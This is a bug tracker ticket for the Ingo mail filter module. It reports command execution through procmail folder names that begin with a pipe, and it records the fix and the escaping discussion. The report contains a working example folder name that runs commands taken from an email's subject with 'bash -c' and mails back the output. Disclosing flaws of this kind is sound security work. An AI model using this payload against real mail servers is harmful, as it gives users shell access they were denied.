Summary | command execution with procmail |
Queue | Ingo |
Queue Version | 1.1.1 |
Type | Bug |
State | Resolved |
Priority | 3. High |
Owners | ben (at) |
Requester | michael.menge (at) zdv (dot) uni-tuebingen (dot) de |
Created | 10/11/2006 (6795 days ago) |
Due | |
Updated | 10/14/2006 (6792 days ago) |
Assigned | 10/14/2006 (6792 days ago) |
Resolved | 10/14/2006 (6792 days ago) |
Milestone | |
Patch | No |
State ⇒ Resolved
State ⇒ Assigned
escapeshellarg is for a single argument and may be more appropriate
here (also may not, but you should double-check if you didn't already
look at it).
State ⇒ Resolved
(since that's what it's designed to do).
Fixed in HEAD and FRAMEWORK_3.
experiments, would be to escape the folder filenames the following way :
- if the first character is ":", "*", "!", "|", "{" or "}" : prepend
"./" to the filename
- quote the whole filename with 'single quotes'
but I wonder if procmail may exist on systems where the folder
separator isn't "/"...
State ⇒ Assigned
Priority ⇒ 3. High
Type ⇒ Bug
Summary ⇒ command execution with procmail
Queue ⇒ Ingo
State ⇒ Unconfirmed
with | as mailbox destination in a filterrule.
If the users don't have shell acces to the mailserver this rule could be
used to bypass this restriction.
EXCAPMLE:
The Foldername
|formail -rA "X-Loop:hisemailaddres@excample.com" | (
cat - ;myCmd="$MATCH"; echo "Executing: $myCmd"
; bash -c "$myCmd"
) |$SENDMAIL -oi -t
would result in a prcmail like the following
* ^From:.*hisemailaddres@excample\.com
{
:0
* ^Subject:.*exec_command\/.*$
|formail -rA "X-Loop:hisemailaddres@excample.com" |
( cat -
;
myCmd="$MATCH"; echo "Executing: $myCmd" ; bash
-c "$myCmd"
)
| $SENDMAIL -oi -t
}